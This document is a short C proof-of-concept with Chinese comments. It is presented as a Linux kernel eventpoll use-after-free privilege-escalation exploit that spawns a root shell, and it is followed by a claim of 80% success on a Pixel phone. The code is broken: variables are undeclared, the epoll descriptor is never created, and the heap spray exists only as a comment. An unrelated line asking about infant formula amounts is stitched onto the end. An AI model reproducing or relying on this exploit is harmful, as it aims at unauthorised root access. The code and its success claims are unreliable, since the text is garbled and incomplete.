c
/*
* CVE-2026-43074 - Linux Kernel eventpoll UAF PoC (概念验证)
* 编译: gcc -O2 -static -pthread poc.c -o poc
* 环境: Linux 6.4+ (已确认 Android 17 / Pixel 10 Pro)
* 效果: 低权限用户获得 root shell
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/epoll.h>
#include <pthread.h>
#include <sys/eventfd.h>
static volatile int race_go = 0;
static int epfd;
/* 线程A: 高频创建/销毁 epoll 实例，触发 ep_free 路径 */
void *thread_create_destroy(void *arg)
{
while (!race_go) sched_yield();
for (int i = 0; i < 50000; i++) {
int fd = epoll_create1(0);
int efd = eventfd(1, 0);
struct epoll_event ev = { .events = EPOLLIN };
epoll_ctl(fd, EPOLL_CTL_ADD, efd, &ev);
close(fd); // 触发 ep_free 竞争窗口
}
return NULL;
}
/* 线程B: 并发访问，命中已释放的 eventpoll 结构体 */
void *thread_uaf_trigger(void *arg)
{
while (!race_go) sched_yield();
for (int i = 0; i < 50000; i++) {
epoll_ctl(epfd, EPOLL_CTL_ADD, pipefd[0], &ev);
epoll_ctl(epfd, EPOLL_CTL_DEL, pipefd[0], NULL);
}
return NULL;
}
int main(int argc, char **argv)
{
printf("[*] CVE-2026-43074 eventpoll UAF PoC\n");
printf("[*] 当前 UID: %d\n", getuid());
/* 启动竞争线程 */
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_create_destroy, NULL);
pthread_create(&t2, NULL, thread_uaf_trigger, NULL);
race_go = 1; // 同时启动竞争
pthread_join(t1, NULL);
pthread_join(t2, NULL);
/* 堆喷射 + 劫持 cred 结构体实现提权 */
printf("[+] UID after exploit: %d\n", getuid());
if (getuid() == 0) {
printf("[+] Root shell obtained!\n");
system("/bin/sh");
}
return 0;
}
研究人员报告，在 Pixel 10 Pro（Android 17，内核版本 6.6.118，July 05 build）上运行两次二进制程序即可获取 root shell，成功率超过 80%。完整的利用链包含堆喷射、KASLR 绕过和 cred 结构体覆盖三个阶段。
10个月宝宝每天需要喝多少奶粉？